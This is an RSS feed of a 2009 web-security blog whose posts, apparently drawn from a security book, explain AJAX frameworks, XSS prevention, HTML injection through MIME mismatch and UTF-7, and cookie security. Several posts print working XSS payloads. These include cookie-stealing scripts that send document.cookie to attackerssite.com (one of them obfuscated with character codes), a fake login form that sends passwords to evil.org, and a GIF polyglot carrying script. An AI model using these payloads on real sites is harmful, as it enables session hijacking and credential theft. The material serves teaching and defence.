<?xml version='1.0' encoding='UTF-8'?><rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:openSearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" version="2.0"><channel><atom:id>tag:blogger.com,1999:blog-895038967958225739</atom:id><lastBuildDate>Tue, 28 Aug 2018 17:38:37 +0000</lastBuildDate><title>Network Security-A need to protect</title><description></description><link>http://networknsecurity.blogspot.com/</link><managingEditor>noreply@blogger.com (VIP)</managingEditor><generator>Blogger</generator><openSearch:totalResults>11</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-2950027862702292491</guid><pubDate>Fri, 01 May 2009 11:54:00 +0000</pubDate><atom:updated>2009-05-01T04:56:34.432-07:00</atom:updated><title>Google Web Toolkit</title><description>&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;Google Web Toolkit (GWT) is a unique sort of proxy framework. Instead of acting as a&lt;br /&gt;proxy between an existing application and the client, GWT compiles an existing Java&lt;br /&gt;application into JavaScript. It is because of this compilation process that method discovery&lt;br /&gt;in GWT applications is uniquely difficult. Methods are sent to the client with a filename&lt;br /&gt;in this format: 32 letters/numbers.cache.html. Here’s an example filename:&lt;br /&gt;9B5996A7A61FA7AB0B780C54253DE830.cache.html.&lt;br /&gt;This file is composed entirely of JavaScript that GWT compiled from the Java application.&lt;br /&gt;Methods are often named a series of two- to three-character obfuscated names&lt;br /&gt;such as qe, xrb, and the like. Methods can thus be discovered by analyzing the data&lt;br /&gt;contained in a .cache.htm; however, method discovery against an application using GWT&lt;br /&gt;remains significantly more challenging than discovery against any other framework.&lt;br /&gt;The client will be served gwt.js. This file will contain required GWT methods and&lt;br /&gt;generally begins with the following JavaScript:&lt;br /&gt;function DynamicResources() {&lt;br /&gt;this.pendingElemsBySrc_ = {};&lt;br /&gt;this.pendingScriptElems_ = new Array();&lt;br /&gt;}&lt;br /&gt;DynamicResources.prototype = {};&lt;br /&gt;GWT is available at http://code.google.com/webtoolkit/.&lt;br /&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/05/google-web-toolkit.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-6305788377891647174</guid><pubDate>Fri, 01 May 2009 11:52:00 +0000</pubDate><atom:updated>2009-05-01T04:54:40.905-07:00</atom:updated><title>Client-Server Proxy</title><description>&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;Client-server proxy is sometimes also known as client/SOA. Client-server proxy&lt;br /&gt;applications have two main determining factors: they rarely require a full page reload&lt;br /&gt;during usage, and session state is mostly handled by the client. Due to the lack of full&lt;br /&gt;page reloads, the client-server proxy style of AJAX applications is often described as&lt;br /&gt;“wrapping an AJAX GUI around a web service.”&lt;br /&gt;In the proxy style of AJAX application, the JavaScript that will be executed in a client’s&lt;br /&gt;web browser can be generated in two ways. The first way is for the JavaScript&lt;br /&gt;methods to be prerendered on the server and then sent down to the client. These methods&lt;br /&gt;are generally named the same or quite similar to methods on the server. When the&lt;br /&gt;client receives the JavaScript methods from the server, the methods are simply plugged&lt;br /&gt;into an eval() and executed. The other style generating the JavaScript is for the server&lt;br /&gt;to send down a chunk of JavaScript to the client, which, once executed, is able to generate&lt;br /&gt;new JavaScript methods on the fly. This JavaScript generates methods on the fly by&lt;br /&gt;reading a list of methods defined by the server in a file such as a Web Services Description&lt;br /&gt;Language (WSDL) file. In practice, the prerendered style of generating JavaScript is&lt;br /&gt;more commonly seen in real-world AJAX applications, while on-the-fly generation is&lt;br /&gt;usually seen only with web applications that use Simple Object Access Protocol&lt;br /&gt;(SOAP).&lt;br /&gt;Despite the number of different client-server proxy frameworks in existence, the steps&lt;br /&gt;involved with creating a proxy style AJAX web application are generally the same:&lt;br /&gt;1. The framework looks at server-side code, such as a Java web application, where&lt;br /&gt;certain methods are tagged as public.&lt;br /&gt;2. The framework is told which of these functions are to be exposed to clients&lt;br /&gt;3. Framework code then automatically goes through and tags these methods and&lt;br /&gt;generates a JavaScript proxy that puts methods, often of the same name, into&lt;br /&gt;the web browser.&lt;br /&gt;4. Then, whenever the client makes a method call in JavaScript, the call is passed&lt;br /&gt;on to the JavaScript proxy and then on to the actual method being called.&lt;br /&gt;This allows for easy abstraction, for example, if one development team is working on&lt;br /&gt;the actual application and another team is working on web design. The web design team&lt;br /&gt;can simply be handed a file of JavaScript methods that can be called to perform work&lt;br /&gt;when needed, without having to interact with the behind-the-scenes Java application. A&lt;br /&gt;client-server proxy style application such as this requires the client to contain all of the&lt;br /&gt;available methods, because, due to the asynchronous nature of AJAX, any method can be&lt;br /&gt;called at any time. For this reason, a client-server proxy style AJAX implementation is&lt;br /&gt;quite interesting and useful from an attacker’s perspective.&lt;br /&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/05/client-server-proxy.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-7966468192084504222</guid><pubDate>Fri, 13 Mar 2009 05:16:00 +0000</pubDate><atom:updated>2009-03-12T22:22:04.408-07:00</atom:updated><title>Preventing Cross-Site Scripting</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://www.crosssitescripting.com/images/application_security.png&quot;&gt;&lt;img style=&quot;cursor: pointer; width: 683px; height: 503px;&quot; src=&quot;http://www.crosssitescripting.com/images/application_security.png&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;To prevent XSS, developers must be very careful of user-supplied data that is served&lt;br /&gt;back to users. We define user-supplied data as any data that comes from an outside network&lt;br /&gt;connection to some web application. It could be a username submitted in an HTML form&lt;br /&gt;at login, a backend AJAX request that was supposed to come from the JavaScript code&lt;br /&gt;the developer programmed, an e-mail, or even HTTP headers. Treat all data entering a&lt;br /&gt;web application from an outside network connection as potentially harmful.&lt;br /&gt;For all user-supplied data that is later redisplayed back to users in all HTTP responses&lt;br /&gt;such as web pages and AJAX responses (HTTP response code 200), page not found errors&lt;br /&gt;(HTTP response code 404), server errors (like HTTP response code 502), redirects (like&lt;br /&gt;HTTP response code 302), and so on, the developer must do one of the following:&lt;br /&gt;• Escape the data properly so it is not interpreted as HTML (to browsers) or XML&lt;br /&gt;(to Flash).&lt;br /&gt;• Remove characters or strings that can be used maliciously.&lt;br /&gt;Removing characters generally affects user experience. For instance, if the developer&lt;br /&gt;removed apostrophes (’), some people with the last name O’Reilly, or the like, would be&lt;br /&gt;frustrated that their last name is not displayed properly.&lt;br /&gt;We highly discourage developers to remove strings, because strings can be represented&lt;br /&gt;in many ways. The strings are also interpreted differently by applications and browsers. For example, the SAMY worm took advantage of the fact that IE does not consider&lt;br /&gt;new lines as word delimiters. Thus, IE interprets javascript and jav%0dascr%0dipt&lt;br /&gt;as the same. Unfortunately, MySpace interpreted new lines as delimiting words and allowed&lt;br /&gt;the following to be placed on Samy’s (and others’) MySpace pages:&lt;br /&gt;(div id=&quot;mycode&quot; expr=&quot;alert(&#39;1&#39;)&quot; style=&quot;background:url(&#39;java&lt;br /&gt;script:eval(document.all.mycode.expr)&#39;)&quot;)(/div)&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;The parenthesis are intensionally replaced by HTML tags.&lt;/span&gt;&lt;br /&gt;We recommend escaping all user-supplied data that is sent back to a web browser within&lt;br /&gt;AJAX calls, mobile applications, web pages, redirects, and so on. However, escaping&lt;br /&gt;strings is not simple; you must escape with URL encoding, HTML entity encoding, or JavaScript&lt;br /&gt;encoding depending on where the user-supplied data is placed in the HTTP responses.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/03/preventing-cross-site-scripting.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-7306057571355471607</guid><pubDate>Thu, 12 Mar 2009 16:00:00 +0000</pubDate><atom:updated>2009-03-12T09:03:58.053-07:00</atom:updated><title>HTML Injection Using MIME Type Mismatch</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://farm3.static.flickr.com/2387/2102121338_e36a5299aa.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 500px; height: 343px;&quot; src=&quot;http://farm3.static.flickr.com/2387/2102121338_e36a5299aa.jpg&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;IE has many surprising and undocumented behaviors. For example, if IE 7 and earlier&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;tries to load an image or other non-HTML responses and fails to do so, it treats the&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;response as HTML. To see this, create a text file containing this:&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;(script)alert(1)(/script)&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Then save it as alert.jpg. Loading this “image” in IE from the URL address bar or an&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;iframe will result in the JavaScript being executed. Note that this does not work if the file&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;is loaded from an image tag.&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Generally, if you attempt to upload such a file to an image hosting service, it will&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;reject the file because it is not an image. Image hosting services usually disregard the file&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;extension and look only at the magic number (the first few bytes) of the file to determine&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;the file type. Thus, an attacker can get around this by creating a GIF image with HTML&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;in the GIF comment and save the GIF with the .jpg file extension. A single-pixel GIF is&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;shown here:&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;00000000 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff |GIF89a..........|&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;00000010 ff ff ff 21 fe 19 3c 73 63 72 69 70 74 3e 61 6c |...!..(script)al|&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;00000020 65 72 74 28 31 29 3c 2f 73 63 72 69 70 74 3e 00 |ert(1)(/script).|&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;00000030 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b |,...........D..;|&lt;/span&gt;  &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Naming this file test.jpg and loading it in IE will result in executing the JavaScript.&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;This is also a great way to attempt to inject Flash cross-domain policies. Simply place the&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;Flash security policy XML content in the GIF comment and ensure that the GIF file does&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;not contain extended ASCII characters or NULL bytes.&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;You can also inject HTML in the image data section, rather than the comment, of&lt;/span&gt; &lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;uncompressed image files such as XPM and BMP files.&lt;/span&gt;  &lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/03/html-injection-using-mime-type-mismatch.html</link><author>noreply@blogger.com (VIP)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://farm3.static.flickr.com/2387/2102121338_e36a5299aa_t.jpg" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-1259685764206294716</guid><pubDate>Thu, 12 Mar 2009 15:54:00 +0000</pubDate><atom:updated>2009-03-12T08:58:59.979-07:00</atom:updated><title>HTML Injection Using UTF-7 Encodings</title><description>&lt;span style=&quot;;font-family:trebuchet ms;font-size:100%;&quot;  &gt;HTML Injection Using UTF-7 Encodings&lt;br /&gt;If a user has Auto-Select encoding set (by choosing View | Encoding | Auto-Select) in IE,&lt;br /&gt;an attacker can circumvent most HTML injection preventions. As mentioned earlier,&lt;br /&gt;HTML injection prevention generally relies upon escaping potentially harmful characters.&lt;br /&gt;However, UTF-7 encoding uses common characters that are not normally escaped,&lt;br /&gt;or depending on the web application, may not be possible to escape. The UTF-7 escaped&lt;br /&gt;version of (script)alert(1)(/script) is this:&lt;br /&gt;+ADw-script+AD4-alert(1)+ADw-/script+AD4-&lt;br /&gt;&lt;span style=&quot;color: rgb(255, 0, 0);&quot;&gt;The parenthesis are intentionally applied instead of HTML tags.&lt;/span&gt;&lt;br /&gt;Note that this is an uncommon attack because users generally do not have Auto-&lt;br /&gt;Select encoding turned on. There exists other UTF encoding attacks that leverage the&lt;br /&gt;variable length of character encodings, but this requires extensive knowledge of UTF&lt;br /&gt;and is out of scope for this book. However, this issue introduces how neglecting other&lt;br /&gt;encodings like MIME types can lead to HTML injection.&lt;br /&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/03/html-injection-using-utf-7-encodings.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-3559950382157436708</guid><pubDate>Sat, 07 Mar 2009 14:16:00 +0000</pubDate><atom:updated>2009-03-08T00:16:49.148-08:00</atom:updated><title>Phishing Attacks</title><description>&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://www.antiphishing.org/phish-jun05.jpg&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 500px; height: 319px;&quot; src=&quot;http://www.antiphishing.org/phish-jun05.jpg&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style=&quot;;font-family:trebuchet ms;font-size:100%;&quot;  &gt;An attacker can use an XSS for social engineering by mimicking the web application to&lt;br /&gt;the user. Upon a successful XSS, the attacker has complete control as to how the web&lt;br /&gt;application looks. This can be used for web defacement, where an attacker puts up a silly&lt;br /&gt;picture, for example. One of the common images suitable for print is Stall0wn3d.&lt;br /&gt;The HTML injection string for this attack could simply be this:&lt;br /&gt;&lt;script&gt;document.body.innerHTML=&quot;&lt;img src=&quot;http://evil.org/stallown3d.jpg&quot; /&gt;&quot;;&lt;/script&gt;.&lt;br /&gt;However, having control of the way a web application appears to a victimized user&lt;br /&gt;can be much more beneficial to an attacker than simply displaying some hot picture&lt;br /&gt;of Sylvester Stallone. An attacker could perform a phishing attack that coerces the user&lt;br /&gt;into giving the attacker confidential information. Using document.body.innerHTML,&lt;br /&gt;an attacker could present a login page that looks identical to the vulnerable web&lt;br /&gt;application’s login page and that originates from the domain that has the HTML injection,&lt;br /&gt;but upon submission of the form, the data is sent to a site of the attacker’s choosing.&lt;br /&gt;Thus, when the victimized user enters his or her username and password, the information&lt;br /&gt;is sent to the attacker. The code could be something like this:&lt;br /&gt;&lt;/span&gt;&lt;form action=&quot;http://evil.org/grabPasswords&quot; method=&quot;get&quot;&gt;&lt;p&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;document.body.innerHTML=&quot;(h1)Company Login(/h1)(form&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;action=http://evil.org/grabPasswords method=get)&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;(p)User name:(input type=text name=u)(p)Password(input type=password&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;font-family:trebuchet ms;&quot;&gt;name=p)(input type=submit name=login)(/form)&quot;;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(204, 0, 0);&quot;&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;the brackets r used intentionally instead of HTML tags else ur web browser will display the&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size:100%;&quot;&gt;&lt;span style=&quot;color: rgb(204, 0, 0);&quot;&gt;ouput not the code..&lt;/span&gt;&lt;br /&gt;One simple trick with this code is that the form is sent over a GET request. Thus, the&lt;br /&gt;attacker does not even have to code the grabPasswords page because the requests will&lt;br /&gt;be written to the web server’s error log where it can be easily read.&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;/form&gt;</description><link>http://networknsecurity.blogspot.com/2009/03/phishing-attacks.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-1850836083172997241</guid><pubDate>Sat, 07 Mar 2009 14:10:00 +0000</pubDate><atom:updated>2009-03-07T06:14:41.159-08:00</atom:updated><title>Stealing Cookies</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://blogs.zdnet.com/security/images/internet_explorer.png&quot;&gt;&lt;img style=&quot;margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 323px; height: 341px;&quot; src=&quot;http://blogs.zdnet.com/security/images/internet_explorer.png&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;Cookies generally carry access controls to web applications. If an attacker stole a victim&lt;br /&gt;user’s cookies, the attacker could use the victim’s cookies to gain complete control of the&lt;br /&gt;victim’s account. It is best practice for cookies to expire over a certain amount of time. So&lt;br /&gt;the attacker will have access to victim’s account only for that limited time. Cookies can&lt;br /&gt;be stolen with the following code:&lt;br /&gt;var x=new Image();x.src=&#39;http://attackerssite.com/eatMoreCookies?c=&#39;&lt;br /&gt;+document.cookie;&lt;br /&gt;or&lt;br /&gt;document.write(&quot;&lt;img src=&quot;http://attackerssite.com/eatMoreCookies%22+%20%22?c=%22+document.cookie+%22&quot; /&gt;&quot;);&lt;br /&gt;If certain characters are disallowed, convert these strings to their ASCII decimal value&lt;br /&gt;and use JavaScript’s String.charFromCode() function. The following JavaScript is&lt;br /&gt;equivalent to the preceding JavaScript:&lt;br /&gt;eval(String.charFromCode(118,97,114,32,120,61,110,101,119,32,73,109,&lt;br /&gt;97,103,101,40,41,59,120,46,115,114,99,61,39,104,116,116,112,58,47,47,&lt;br /&gt;97,116,116,97,99,107,101,114,115,115,105,116,101,46,99,111,109,47,&lt;br /&gt;101,97,116,77,111,114,101,67,111,111,107,105,101,115,63,99,61,39,43,&lt;br /&gt;100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59));&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/03/stealing-cookies.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-2670137797910315829</guid><pubDate>Sat, 07 Mar 2009 13:39:00 +0000</pubDate><atom:updated>2009-03-07T05:43:39.449-08:00</atom:updated><title>Cookie Security Model</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://z.about.com/d/websearch/1/5/j/2/cookies.png&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 400px; height: 327px;&quot; src=&quot;http://z.about.com/d/websearch/1/5/j/2/cookies.png&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;HTTP is a stateless protocol, meaning that one HTTP request/response pair has no&lt;br /&gt;association with any other HTTP request/response pair. At some point in the evolution&lt;br /&gt;of HTTP, developers wanted to maintain some data throughout every request/response&lt;br /&gt;so that they could make richer web applications. RFC 2109 created a standard whereby&lt;br /&gt;every HTTP request automatically sends the same data from the user to the server in an&lt;br /&gt;HTTP header called a cookie. Both the web page and server have read/write control of&lt;br /&gt;this data. A typical cookie accessed through JavaScript’s document.cookie looks like&lt;br /&gt;this:&lt;br /&gt;CookieName1=CookieValue1; CookieName2=CookieValue2;&lt;br /&gt;Cookies were intended to store confidential information, such as authentication&lt;br /&gt;credentials, so RFC 2109 defined security guidelines similar to those of the same domain&lt;br /&gt;policy.&lt;br /&gt;Servers are intended to be the main controller of cookies. Servers can read cookies,&lt;br /&gt;write cookies, and set security controls on the cookies. The cookie security controls&lt;br /&gt;include the following:&lt;br /&gt;• domain This attribute is intended to act similarly to the same origin policy but&lt;br /&gt;is a little more restrictive. Like the same origin policy, the domain defaults to the&lt;br /&gt;domain in the HTTP request Host header, but the domain can be set to be one&lt;br /&gt;domain level higher. For example, if the HTTP request was to x.y.z.com, then&lt;br /&gt;x.y.z.com could set cookies for all of *.y.z.com, and x.y.z.com cannot set cookies&lt;br /&gt;for all of *.z.com. Apparently, no domain may set cookies for top level domains&lt;br /&gt;(TLDs) such as *.com.&lt;br /&gt;• path This attribute was intended to refi ne the domain security model to&lt;br /&gt;include the URL path. The path attribute is optional. If set, the cookie is sent&lt;br /&gt;only to the server whose path is identical to the path attribute. For example, say&lt;br /&gt;http://x.y.z.com/a/WebApp set a cookie with path /a; then the cookie would&lt;br /&gt;be sent to all requests to http://x.y.z.com/a/* only. The cookie would not be&lt;br /&gt;sent to http://x.y.z.com/index.html or http://x.y.z.com/a/b/index.html.&lt;br /&gt;• secure If a cookie has this attribute set, the cookie is sent only on HTTPS&lt;br /&gt;requests. Note that both HTTP and HTTPS responses can set the secure&lt;br /&gt;attribute. Thus, an HTTP request/response can alter a secure cookie set over&lt;br /&gt;HTTPS. This is a big problem for some advanced man-in-the-middle attacks.&lt;br /&gt;&lt;br /&gt;• expires Usually, cookies are deleted when the browser closes. However, you&lt;br /&gt;can set a date in the Wdy, DD-Mon-YYYY HH:MM:SS GMT format to store the&lt;br /&gt;cookies on the user’s computer and keep sending the cookie on every HTTP&lt;br /&gt;request until the expiry date. You can delete cookies immediately by setting the&lt;br /&gt;expires attribute to a past date.&lt;br /&gt;• HttpOnly This attribute is nowrespected by both Firefox and Internet Explorer. It&lt;br /&gt;is hardly used in web applications because it was only available in Internet Explorer.&lt;br /&gt;If this attribute is set, IE will disallow the cookie to be read or written via JavaScript’s&lt;br /&gt;document.cookie. This intended to prevent the attacker from stealing cookies and&lt;br /&gt;doing something bad. However, that attacker could always create JavaScript to do&lt;br /&gt;equally bad actions without stealing cookies.&lt;br /&gt;Security attributes are concatenated to the cookies like this:&lt;br /&gt;CookieName1=CookieValue1; domain=.y.z.com; path=/a;&lt;br /&gt;CookieName2=CookieValue2; domain=x.y.z.com; secure&lt;br /&gt;JavaScript and VBScript are inaccurately considered extensions of the server code, so&lt;br /&gt;these scripting languages can read and write cookies by accessing the document.cookie&lt;br /&gt;variable, unless the cookie has the HttpOnly attribute set and the user is running IE. This&lt;br /&gt;is of great interest to hackers, because cookies generally contain authentication credentials,&lt;br /&gt;CSRF protection information, and other confidential information. Also, Man-in-the-&lt;br /&gt;Middle (MitM) attacks can edit JavaScript over HTTP.&lt;br /&gt;If an attacker can break or circumvent the same origin policy, the cookies can be&lt;br /&gt;easily read via the DOM with the document.cookie variable. Writing new cookies is&lt;br /&gt;easy, too: simply concatenate to document.cookie with this string format:&lt;br /&gt;var cookieDate = new Date ( 2030, 12, 31 );&lt;br /&gt;document.cookie += &quot;CookieName=CookieValue;&quot; +&lt;br /&gt;/* All lines below are optional. */&lt;br /&gt;&quot;domain=.y.z.com;&quot; +&lt;br /&gt;&quot;path=/a;&quot; +&lt;br /&gt;&quot;expires=&quot; + cookieDate.toGMTString() + &quot;;&quot; +&lt;br /&gt;&quot;secure;&quot; +&lt;br /&gt;&quot;HttpOnly;&quot;&lt;br /&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/03/cookie-security-model.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-6447102088083832445</guid><pubDate>Sat, 28 Feb 2009 14:27:00 +0000</pubDate><atom:updated>2009-02-28T06:30:46.371-08:00</atom:updated><title>How Injection Attack Works</title><description>&lt;span style=&quot;font-family: trebuchet ms;font-size:100%;&quot; &gt;Injection attacks are based on a single problem that persists in many technologies: namely,&lt;br /&gt;no strict separation exists between program instructions and user data (also referred to as&lt;br /&gt;user input). This problem allows for attackers to sneak program instructions into places&lt;br /&gt;where the developer expected only benign data. By sneaking in program instructions, the&lt;br /&gt;attacker can instruct the program to perform actions of the attacker’s choosing.&lt;br /&gt;&lt;br /&gt;Further on this topic i&#39;ll prefer this page of mine..&lt;a href=&quot;http://sites.google.com/site/alohan5site/&quot;&gt;click here for common injection attcks&lt;/a&gt;&lt;br /&gt;&lt;/span&gt;</description><link>http://networknsecurity.blogspot.com/2009/02/how-injection-attack-works.html</link><author>noreply@blogger.com (VIP)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-895038967958225739.post-2167688962522685516</guid><pubDate>Sat, 28 Feb 2009 06:31:00 +0000</pubDate><atom:updated>2009-02-27T22:49:49.251-08:00</atom:updated><title>Web 2.0’s Impact on Security</title><description>&lt;a onblur=&quot;try {parent.deselectBloggerImageGracefully();} catch(e) {}&quot; href=&quot;http://hinchcliffe.org/img/web1vsweb2.png&quot;&gt;&lt;img style=&quot;margin: 0pt 0pt 10px 10px; float: right; cursor: pointer; width: 367px; height: 417px;&quot; src=&quot;http://hinchcliffe.org/img/web1vsweb2.png&quot; alt=&quot;&quot; border=&quot;0&quot; /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style=&quot;;font-family:trebuchet ms;font-size:100%;&quot;  &gt;The security impact on Web 2.0 technologies includes all the issues on Web 1.0 as well an&lt;br /&gt;expansion of the same issues on new Web 2.0 frameworks. Thus, Web 2.0 simply adds to&lt;br /&gt;the long list of security issues that may exist on web applications. Cross-site scripting (XSS)&lt;br /&gt;is a very prevalent attack with Web 1.0 applications. In Web 2.0, there can actually be more&lt;br /&gt;opportunities for XSS attacks due to rich attack surfaces present with AJAX. For example,&lt;br /&gt;with Web 2.0 AJAX applications, inserting XSS attacks in JavaScript streams, XML, or JSON&lt;br /&gt;is also possible. An example of downstream JavaScript array is shown here:&lt;br /&gt;var downstreamArray = new Array();&lt;br /&gt;downstreamArray[0] = &quot;document.cookie&quot;;&lt;br /&gt;simply the document.cookie value&lt;br /&gt;(highlighted in bold) since the code is already in a JavaScript array.&lt;br /&gt;In addition to XSS, injection attacks on Web 2.0 still target SQL and Lightweight&lt;br /&gt;Directory Access Protocol (LDAP), but now include XPATH/XQUERY, XML, JSON, and&lt;br /&gt;JavaScript arrays. Cross-site request forgery (CSRF) attacks are still present in Web 2.0,&lt;br /&gt;but they can now be worse with bidirectional CSRF (JavaScript hijacking). Further, the&lt;br /&gt;inconsistent security limits set on XMLHttpRequest (XHR) can leave Web 2.0 applications&lt;br /&gt;that are vulnerable to CSRF exposed to worm type behavior, automatic prorogation&lt;br /&gt;of a security flaw, rather that a simple one-click attack that would appear on a Web 1.0&lt;br /&gt;application. For example, since many Web 2.0 applications contain integrated interaction&lt;br /&gt;between users, when an application flaw such as XSS appears in the application, the&lt;br /&gt;propagation of the flaw from one user to the other is even more possible. The prorogating&lt;br /&gt;functionality was shown clearly with the Samy worm on MySpace.com, which is&lt;br /&gt;discussed in Chapter 5 and the first case study.&lt;br /&gt;Another security impact in addition to worm propagation is the idea of cross-domain&lt;br /&gt;attacks. Cross-domain attacks allow attackers to publish malicious content to web users&lt;br /&gt;without users’ knowledge or permission. While XHR specifically prevents cross-domain&lt;br /&gt;interaction, much to the developer’s dismay, there is some flexibility in certain Web 2.0&lt;br /&gt;technologies. For example, Flash has XHR restrictions, but it has a method to support&lt;br /&gt;cross-domain functionality. The following code shows an example of the flexibility from&lt;br /&gt;crossdomain.xml:&lt;br /&gt;&lt;cross-domain-policy&gt;&lt;br /&gt;&lt;allow-access-from domain=&quot;www.cybervillans.com&quot;&gt;&lt;br /&gt;&lt;/cross-domain-policy&gt;&lt;br /&gt;In addition to the domain name, a wildcard can be used such as domain=&quot;*&quot;.&lt;br /&gt;(Many web developers are bypassing XHR security controls to add cross-domain&lt;br /&gt;functionality to their web applications.) Cross-domain functionality becomes very scary&lt;br /&gt;when CSRF attacks are apparent. As noted, CSRF can force a user to perform actions&lt;br /&gt;without his or her knowledge or permission. With the ability of cross-domain support,&lt;br /&gt;CSRF attacks can allow an attacker or phisher to force actions across domains with a&lt;br /&gt;single click. Hence, clicking a story from a user’s blog might actually reduce your bank&lt;br /&gt;account by $10,000.&lt;br 